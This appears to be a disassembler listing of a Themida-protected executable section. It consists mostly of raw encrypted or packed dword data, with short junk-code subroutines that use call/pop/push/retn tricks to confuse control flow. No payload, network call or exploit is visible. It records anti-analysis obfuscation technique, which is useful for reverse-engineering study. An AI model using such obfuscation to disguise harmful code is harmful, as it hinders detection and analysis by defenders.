dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 8337ACC3h, 151115BDh, 840F0106h, 391h, 8353F380h, 151115BDh
dd 860F0306h, 34Bh, 6A60F5h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 0F529C5C3h, 9CF791CFh
dd 58D0F97h, 66000000h, 0EB5D781h, 1D19B589h, 8C660615h
dd 41BD89D9h, 80061523h, 6A04E1h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0E69E93C3h, 287372B7h
dd 0E99FD14Ch, 12h, 9415D25Ch, 98594C10h, 0F4B03EEEh, 0DD37AE68h
dd 8D09A154h, 61507C1h, 840FC90Ah, 0E9h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 14h, 0D3C35040h, 2379B589h
dd 8B600615h, 1525D585h, 858B6106h, 615249Dh, 0B58533F8h
dd 0E9061519h, 7, 0B0B28557h, 90C6DBB8h, 48C0F51h, 66000000h
dd 5B445ABBh, 6A9050h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 5F134AC3h, 0C3AAAA7Bh, 7EBB66A3h
dd 999D8B62h, 6A06151Dh, 0E343BF00h, 0BD8B289Eh, 61505D5h
dd 73743868h, 7BF6623h, 2434815Dh, 236C77C7h, 1605BD0Bh
dd 0BD8B0615h, 615167Dh, 0DAD95FFh, 6A0615h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0DF2A97C3h
dd 0BF998589h, 9D890618h, 6150FD5h, 16DE9h, 0DBD8B00h
dd 3106152Fh, 151A558Dh, 91858B06h, 6A0618BFh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 81A1C350h, 1CC49CCBh, 0EDB5892Fh, 0C706152Ah, 1800h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 925B631Dh, 8B62E663h, 18BF95B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0D4DEF8FCh, 0D3E7183Ah, 30A99D8Bh, 858B0615h, 6150C45h
dd 59D8Bh, 6890615h, 11E9h, 39BF5700h, 3567A95h, 520782E1h
dd 0D1AEDA10h, 0A9BB43E9h, 8B4DA0B9h, 15249D85h, 0D8DB8006h
dd 81044689h, 0A26590DBh, 0EEB3502Ch, 66243489h, 0B5FFD98Bh
dd 618BF91h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 55C35040h, 807468FEh, 14E9A3C7h, 54000000h, 2A6A8CBh
dd 450A9198h, 2ACC21EEh, 0D371CE26h, 8135D3FAh, 838B2404h
dd 9D8B5C57h, 6150C49h, 0BF99858Dh, 6A0618h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B6B10C3h
dd 150CD1BDh, 0C159BB06h, 5090433Ah, 5E9h, 5F20000h, 6690CBFEh
dd 95FFF98Bh, 6150DADh, 2399BD89h, 8B610615h, 15169D9Dh
dd 68E0F06h, 8B000000h, 150D4D9Dh, 1585C706h, 3061511h
dd 8B000000h, 1516BDBDh, 99BD8306h, 618BFh, 45840Fh, 11E80000h
dd 73000000h, 0DB80C6F2h, 43C9CCCEh, 0DF36B25Bh, 24064432h
dd 0AE8h, 543C3300h, 0AC41D346h, 66B8E717h, 7380CB81h
dd 2FE95F5Bh, 8B000000h, 152F959Dh, 0BD896006h, 6150655h
dd 10419589h, 50610615h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 0BD89C08Bh, 6153011h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 52C35646h, 17FEB9C7h
dd 852947F9h, 6152869h, 1115BD83h, 0F030615h, 37885h, 0D19D2B00h
dd 83061503h, 18BF99BDh, 840F0006h, 365h, 9819D89h, 0B5FF0615h
dd 618BF99h, 0CF5BD29h, 95FF0615h, 61510E1h, 0B58BDA8Bh
dd 618BF8Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 34C35141h, 5CD2CD33h, 106C7D9h, 66000100h, 0F668D381h
dd 24348950h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 11C35343h, 0B5FF78D2h, 618BF99h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Bh, 8CC35747h, 3124C717h
dd 0FFC833C1h, 1506A195h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0BF94AA25h
dd 9195E6DCh, 0C281609Dh, 145E4D40h, 0C6DBD29h, 8B610615h
dd 18BF8DB5h, 12E906h, 4AC70000h, 648DF453h, 42D090DFh
dd 0F92C04F9h, 0D3CE78BEh, 59858Bh, 0BD8B0615h, 6150321h
dd 0C48689h, 8D890000h, 6151889h, 2721958Bh, 6A0615h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 6C6360C3h, 34459501h, 810F0615h, 6, 2F5D9D31h, 0C2830615h
dd 95896004h, 6150AB9h, 0A0B7BE66h, 28F0F61h, 8B000000h
dd 205089F9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 4C35545h, 58858D90h, 6A0618D4h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0F120C352h
dd 7B3A095Fh, 1605BD23h, 86890615h, 0B8h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A4C35747h, 40A6C600h
dd 248E0B90h, 6A006ACEh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 265BC357h, 9D330DDDh
dd 61521B5h, 24A9BD33h, 0B5FF0615h, 618BF99h, 0FF57D380h
dd 151D4D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 8B9604E8h, 810F50FEh, 4, 0EBFFBB66h
dd 5E996h, 7BCE0000h, 0FF01AC6Bh, 18BF99B5h, 6890F06h
dd 81000000h, 213BFEDFh, 2995FF74h, 0BF061507h, 72FF4884h
dd 65BD83h, 0F000615h, 4D84h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 6EF1214Dh
dd 10E8h, 5FB74900h, 99CD587Fh, 0CDC4D5D0h, 2C2E3CCDh
dd 658529EBh, 5F061502h, 8B525050h, 66310FF8h, 585AF98Bh
dd 66243489h, 0B5FFF88Bh, 618BF99h, 61F68160h, 667ABB73h
dd 615DCDBBh, 43995FFh, 0B5890615h, 6151031h, 0BF99B5FFh
dd 2FB70618h, 0DCD95FFh, 95010615h, 61519CDh, 285DBD83h
dd 0F020615h, 4284h, 0E8E1B300h, 5, 1C870E0Ah, 8B5FF8D4h
dd 15284985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 58C6FA3Ch, 171D12BAh, 2E599509h
dd 0C60615h, 0C75B5700h, 1523F585h, 6, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 5812372Dh, 66002B66h, 0A78EC781h, 0F48EE9FCh, 6AFFFFh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 11B410C3h, 958944FCh, 6150191h, 6AC18Bh, 3E855h, 5D200000h
dd 6C895DC3h
dd 44810424h, 190424h, 55450000h, 56EA1EC3h, 89A302F3h
dd 1519CD85h
; ---------------------------------------------------------------------------
push es
loc_5CB025: ; CODE XREF: Themida_:loc_5CA37Aj
lea eax, [ebp+615279Dh]
push 0
push edx
call sub_5CB036
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB036 proc near ; CODE XREF: Themida_:005CB02Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5CB036 endp
; ---------------------------------------------------------------------------
dw 9C17h
dd 421558B7h, 12E9h, 888EE700h, 2D36D024h, 8B1C2C79h, 0D0CB9C6Bh
dd 90B54477h, 0F18B6660h, 12E8h, 0AAA30F00h, 0A0637402h
dd 8D71404Dh, 4D0CDD1Fh, 51EB8474h, 50615B5Ah, 56006A90h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0FC345675h, 22C19589h, 81660615h, 6A7638DBh, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0F006A92h, 285h, 8D5B5300h, 1A17D085h, 5BD8906h, 83061530h
dd 9D8905C0h, 6152D01h, 6E890h, 0E48A0000h, 0C9D4831Ch
dd 0DE8505Fh, 0EB000000h, 0D3AF8279h, 33CC5898h, 0AA07CA65h
dd 7868BF66h, 6A905Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 2114CEC3h, 0FC7BFBAh, 6A561Ah, 321BD8Bh
dd 0BD8B0615h, 6153379h, 0BD89006Ah, 6152F95h, 7995FFF8h
dd 57061526h, 8D5FDE8Bh, 189C158Dh, 0C5BD0106h, 8B061524h
dd 1509E5BDh, 83D1FF06h, 152DB5BDh, 850F0106h, 87h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9AC35646h, 6C7455D3h
dd 0E27F3F1h, 0BF66026Ah, 0E990CF27h, 13h, 0B1EFC155h
dd 895680EBh, 1638278Dh, 615AEACAh, 505033E9h, 0E0BB6651h
dd 6A905F9Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 0FDCAC355h, 0F601876h, 480h, 0BDBE6600h
dd 6661FCC0h, 0FFEAA2BFh, 151D4D95h, 4D9D3306h, 0E9061506h
dd 0F39h, 0E8h, 0ED815D00h, 61A17DAh, 0AE9h, 7D9C6500h
dd 0AD733D6h, 0E9A11AABh, 0Eh, 0AA5E34A8h, 0E05F92BFh
dd 9C7C2291h, 6A1CEAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 386D14C3h, 0BA835ABCh, 34399589h
dd 858D0615h, 61888F9h, 6BFFBF66h, 50525090h, 0FF98B52h
dd 5A05B331h, 57310F58h, 5A5F5F50h, 0BB665058h, 6A908058h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0BDE9C357h, 35FF64h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 3869C357h, 0A253B878h, 0F883645h, 148Eh, 0FE900h, 199A0000h
dd 0DB60B255h, 1228296Eh, 2871F593h, 2589648Ah, 0
; ---------------------------------------------------------------------------
mov [ebp+6152219h], edx
inc dword ptr [ebp+6151535h]
push 0
push ebx
call sub_5CB2FF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB2FF proc near ; CODE XREF: Themida_:005CB2F7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5CB2FF endp
; ---------------------------------------------------------------------------
db 1Fh
dd 0FF6A26E6h, 291DBD8Bh, 0B5FF0615h, 6152CBDh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 1EC35141h, 0D781912Dh
dd 10A7DC28h, 8BD95FFh, 53E90615h, 0B0000001h, 0CE900h
dd 0F5630000h, 2948FC1h, 0CA961A2Eh, 70E60B6Ah, 9299D8Bh
dd 0E4F50615h, 0DB816671h, 613CB1DCh, 128830Fh, 31600000h
dd 150AC5B5h, 0FE9EBF06h, 0E8610876h, 12h, 0F0BBCE90h
dd 42BD41D2h, 4C6E54E4h, 0BBAFBA5Fh, 0BB664FE3h, 0F5BE2E6h
dd 8501C8B6h, 61514C5h, 6BAh, 0B5296000h, 6152309h, 2351BD29h
dd 8B610615h, 0AE52BBC1h, 0E8C16B28h, 0C5BD8904h, 6606151Ch
dd 0C82BE2F7h, 269D9D8Bh, 0D18B0615h, 5BEF8166h, 0BCE973h
dd 95890000h, 61526FDh, 0CE9h, 3E37F900h, 56E9CADFh, 0F6A22A30h
dd 49858B05h, 8344004Eh, 0D5BF07C0h, 831D3CA7h, 0AE900C0h
dd 0EE000000h, 645A7F51h, 0EDE3E1F2h, 0FD03BCEh, 1883h
dd 81665600h, 5FC92BCBh, 71E9h, 68C0F00h, 8B000000h, 151C95BDh
dd 0FF8D8B06h, 66FFFFFFh, 947AE381h, 0F01E183h, 5184h
dd 9E800h, 1B9F0000h, 0F63540F1h, 0F50331F6h, 0FFA5835Bh
dd 0FEFFFFFFh, 12E8h, 6FB3C000h, 3589AE42h, 0B4923275h
dd 0CC46F76Bh, 0E84C80C1h, 6, 0C091AE9Ah, 94BB5A67h, 5F3840AEh
dd 4995895Bh, 8944004Eh, 152D918Dh, 0E906h, 0B58D0000h
dd 6199057h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 0ACC35545h, 411E529Dh, 32A1BAD1h, 68A0F26h, 8B000000h
dd 1525B5BDh, 80006A06h, 95FF6ACFh, 6152E21h, 81E6F381h
dd 0D2B957DBh, 2900000Fh, 1502A99Dh, 0EF816606h, 0E18394BEh
dd 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 0CB81667Bh, 6AFC31D9h, 3E85300h
dword_5CB524 dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
; DATA XREF: Themida_:0057C190o
dd 0BB47C353h, 0E88C2D1Bh, 0Eh
dword_5CB544 dd 0C7EAC9E5h, 0EEF5841h, 27205FD2h, 96BFC1D5h, 5B3B8800h
; DATA XREF: Themida_:00579E30o
dd 0B8h, 14E800h, 0CE510000h, 0BA40B02Ah, 93C2642Ah, 3D4573A5h
dd 0C402DAECh, 8B662600h, 0D22B5FF8h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 58C35646h, 4D7893E7h, 0F90EA08h
dd 588h, 9BB7BF00h, 33AD6DE3h, 3E8D1C2h, 4E983D0h, 6AF475h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0AD5CE6C3h, 898B4569h, 1504019Dh, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 40300CAAh
dd 3127FC3Ah, 0E3814362h, 41AFAF19h, 880Dh, 0A5BD2300h
dd 8B06151Ch, 15272195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 1B568236h, 252F5B3Eh
dd 4CD8D8Bh, 800F0615h, 2, 8B50FE8Bh, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 8343BB66h, 8C98589h, 6A0615h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 8FC35C3h, 0DE8B3F23h, 18A9BD83h, 0F000615h, 6684h, 659D8B00h
dd 0B8061518h, 0
; ---------------------------------------------------------------------------
push ecx
jge loc_5CB6AA
sub bh, 0C5h
loc_5CB6AA: ; CODE XREF: Themida_:005CB6A1j
pop edi
lea ecx, [ebp+6154F9Eh]
push 0
push esi
call sub_5CB6BC
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB6BC proc near ; CODE XREF: Themida_:005CB6B4p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5CB6BC endp
; ---------------------------------------------------------------------------
mov byte ptr [edx-67h], 0CFh
cmc
mov ebx, eax
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5CB6E0
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB6E0 proc near ; CODE XREF: Themida_:005CB6D8p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5CB6E0 endp
; ---------------------------------------------------------------------------
dd 96B96FF0h, 719529EFh, 83061525h, 151115BDh, 840F0006h
dd 574h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0C4C35747h, 51675D33h, 0E8B8BC36h, 7, 697C6595h
dd 89132C76h, 152DA195h, 0F3805F06h, 15BD83CAh, 1061511h
dd 549840Fh, 81660000h, 836C31F7h, 151115BDh, 860F0306h
dd 501h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 22C35747h, 0DCFAF2FFh, 4C18C913h, 27A19D8Bh, 89560615h
dd 15072585h, 6A605F06h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 0C508C350h, 6052CBD6h
dd 0FE9FCh, 83D20000h, 0A7B08772h, 633D792h, 0D8DB3AE9h
dd 9D8B6168h, 61533BDh, 6AD98C66h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0ABC5C355h
dd 2654BB66h, 6A04E180h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 4E24C353h, 0E9C1E610h
dd 11h, 0CAA931FCh, 50708B33h, 0E21DFFB3h, 0DA7AC146h
dd 0FAB70F80h, 840FC90Ah, 1AAh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 51C35040h, 0E0BA5623h, 858B9C62h
dd 615249Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 0DBC35646h, 0D353B79Dh, 89AA5F7Ch, 1524B195h, 4BBF6606h
dd 8B6660D5h, 4840FDFh, 66000000h, 6173E0BEh, 19B58533h
dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 9D8973C3h, 615170Dh, 58E0F50h, 0BB000000h
dd 36B3A024h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 0D798C352h, 0E3569A99h
dd 6A006A78h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 6FA4C356h, 9D89566Dh, 61526A5h
dd 615C685Bh, 0BF66D96Fh, 4811D19h, 0AFA2A324h, 52006A26h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0B64462B8h, 110BF38h, 52BF6651h, 95FF5F2Ch, 6150DADh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0EEC35646h
dd 645A7F51h, 66E3E1F2h, 89AF23BBh, 18BF9985h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 0FD6AACBEh, 0D3A5B3D6h, 28759D8Bh, 0EBE90615h, 6A000001h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 806FC355h, 4BDC922Ah, 33BD9D8Bh, 0BB660615h
dd 858B499Fh, 618BF91h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 21C35343h, 2882C85Bh, 8BC67AA5h, 1518C5BDh
dd 1800C706h, 89000000h, 15115DB5h, 8BD88B06h, 18BF95B5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 556FBC5Bh, 0EC6D80A8h, 0CA9BD33h, 858B0615h
dd 6150C45h, 9C99D8Bh, 6890615h, 10E9h, 4574CC00h, 601B50A8h
dd 5E35B8EAh, 0E6EBBF79h, 0B98D313Ah, 8B061509h, 15249D85h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 446895Eh, 8EBF6696h, 0FE8505Eh, 2B000000h
dd 0A29F5524h, 7D08E659h, 0ABF9B3EAh, 0CE93FE3h, 3D000000h
dd 0F1DB99C6h, 8ED1CD00h, 5FFEDFD2h, 55006A96h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0F7D619DDh
dd 0D19D89CBh, 8106152Dh, 0FBE5DDE3h, 0C9B52929h, 0FF06150Dh
dd 18BF91B5h, 0D9BD8B06h, 68061522h, 0E05D67C3h, 81F98B66h
dd 9C3C2404h, 0B70F1FC1h, 99858DFFh, 520618BFh, 0D5EF8166h
dd 0E8905F37h, 0Fh, 724DEA2Fh, 0E9871161h, 0AA6FCBE9h
dd 665D9A96h, 505FD88Bh, 7F77BB66h, 57006A90h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0DF7060E1h
dd 9CA288CCh, 39D5C381h, 95890162h, 6152799h, 0DAD95FFh
dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 0EE4B19C3h, 411CC24Fh, 22F19509h, 6A610615h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 129BC353h, 0FBB70F74h, 111585C7h, 30615h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 71AD74C3h, 9B6688F0h, 0BD83A81Ch, 618BF99h
dd 62840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 88D7C352h, 0BB664147h
dd 55E97C60h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 7716C350h, 13E8h, 9F77E100h
dd 0FC7DD294h, 493202B0h, 0D81DAD68h, 3BACE58Ah, 5BDA8B53h
dd 0C30505Fh, 11440011h, 10E8C101h, 2114430h, 3114C00h
dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h
dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
dd 0C08B00EBh, 1615BD8Bh, 0BD890615h, 6150FC5h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 73C35545h, 0F1392302h
dd 3C59589h, 0BD830615h, 6151115h, 0DC850F03h, 83000003h
dd 18BF99BDh, 840F0006h, 3CFh, 0EE8h, 34F99200h, 359B4579h
dd 1B023BDFh, 2B19370Ah, 1522B5BDh, 0B5FF5B06h, 618BF99h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 9BC35040h
dd 0FF96123Dh, 1510E195h, 1464BF06h, 0B58B6178h, 618BF8Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 76C35646h
dd 85BD8BFEh, 0C7061519h, 1000106h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 50FCE191h
dd 34895F50h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 5FA5E7BAh, 4890Fh, 0BB660000h, 0B5FF6A78h
dd 618BF99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 70C35545h, 0D3405F32h, 0DBB70FDBh, 6A195FFh, 850F0615h
dd 5, 7FEF8166h, 8DB58BB3h, 6A0618BFh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B88C351h
dd 1525699Dh, 59858B06h, 0BF061500h, 49F0905h, 313BBB66h
dd 0C48689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 4B98ECC3h, 8127A5FFh, 0A785AAD3h
dd 21958B65h, 6A061527h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0D88DC350h, 59B6B75Ah
dd 83F170D2h, 6A04C2h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 932860C3h, 5C26A84Bh, 840FEDh, 0F000000h
dd 281h, 8973B700h, 14E82050h, 40000000h, 4A2144F3h, 0CFF9CFEDh
dd 78E1D9D5h, 1CDB3E9Bh, 0BBB839E8h, 2000B2E0h, 58858D5Bh
dd 6A0618D4h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 0F6CC355h, 386h, 0D8EB8000h, 0B88689h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 5C5B15C3h, 2F104DF0h, 6A2355C0h, 15DF8100h, 0FF631074h
dd 18BF99B5h, 0BD8BF806h, 6153041h, 1D4D95FFh, 5E80615h
dd 0B6000000h, 0A4ED51CCh, 0CE9h, 59C8B800h, 31C646Ch
dd 23DDD4E7h, 8B965B02h, 525050D8h, 0B2C874BBh, 8B310F39h
dd 96585ADAh, 1615B589h, 0DB810615h, 6A45AF02h, 0BF99B5FFh
dd 81660618h, 0FFFF47F3h, 15072995h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0FBB595A2h
dd 57533B3Eh, 11E8h, 9B0E900h, 0CDDE0305h, 95E9AB4Fh, 8C25A4AAh
dd 858983C7h, 6152505h, 65BD835Fh, 61500h, 14840Fh, 0CF810000h
dd 44468B63h, 1258BB50h, 34894E1Bh, 548EBF24h, 0B5FF3DA8h
dd 618BF99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 41C35747h, 0C660E70Fh, 9D8BF486h, 615283Dh, 43995FFh
dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 345E36C3h, 99B5FFE4h, 890618BFh, 1508D585h
dd 0CD95FF06h, 0F06150Dh, 0BD83FAB7h, 615285Dh, 42840F02h
dd 8B000000h, 2890FD9h, 50000000h, 49858B5Bh, 81061528h
dd 3BF879DBh, 0C629h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0DDC35141h, 5C1A0CB4h, 2830F01h, 0B3000000h
dd 0F585C7D4h, 61523h, 0F000000h, 68Bh, 0B99D8B00h, 0E9061518h
dd 0FFFFF23Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 8FC35343h, 4F56DE6Ah, 0E9543FBAh, 7, 592C64BCh
dd 8B843AB8h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 3779A661h, 0BEFE2EBEh, 0E857B917h
dd 5, 0D7F0661Fh, 999D2B81h, 5F061523h, 9D858D5Bh, 6A061527h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0B459C351h, 0F5BB50A8h, 8973CCF1h, 850F2404h
dd 3, 6AD88B66h, 0FFBF0F00h, 8D31006Ah, 61516C5h, 298A858Dh
dd 8589061Ah, 61521D5h, 6A05C083h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 62FCC352h
dd 0DF1CC020h, 22F19D8Bh, 0BB500615h, 8D9B86Ch, 6A240489h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 3149C352h, 1B335ACCh, 0CE85925h, 9F000000h
dd 0C47FFB54h, 1E8E65AFh, 0F7B2E25h, 389h, 0F8BF0F00h
dd 0ED95295Fh, 0E8061518h, 12h, 602DA7C1h, 0CC0308Ch, 35038AC6h
dd 8BB0FBB7h, 0B5893F3Fh, 6151691h, 6A006A5Bh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 0F811C352h, 5BA1351Dh, 0B3FE7348h, 0C99D89D1h, 6A06150Dh
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 95FF2C7Fh, 6152679h, 0DE9h, 1B49D700h, 1A2861CBh
dd 184E9C00h, 8D8D9E9Bh, 6189C15h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 75C35646h, 8145D2ECh, 9B1854D7h
dd 0EB81667Ch, 0D1FF86E3h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 4AC35646h, 0EDBD8B57h, 8306150Ch, 152DB5BDh
dd 850F0106h, 0D1h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 33C35141h, 0DE9h, 0EDEACF00h, 78445C6Fh
dd 9E11864h, 26A81C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 0EC35242h, 0F47C3AC0h, 3C86BB44h, 8960777Fh
dd 152F8D85h, 89F58006h, 52505061h, 0CE9h, 9D2EAF00h, 0B87D3ACh
dd 0EA722CE7h, 0E8310F12h, 0Eh, 5E36F3CAh, 0DE16E434h
dd 0D723602Ah, 8F0F107Ah, 0
; ---------------------------------------------------------------------------
pop edi
pop edx
pop eax
mov [esp], eax
mov edi, [ebp+6152FE9h]
call dword ptr [ebp+6151D4Dh]
push 0
push eax
call sub_5CC395
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC395 proc near ; CODE XREF: Themida_:005CC38Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5CC395 endp
; ---------------------------------------------------------------------------
db 11h, 12h, 0A2h
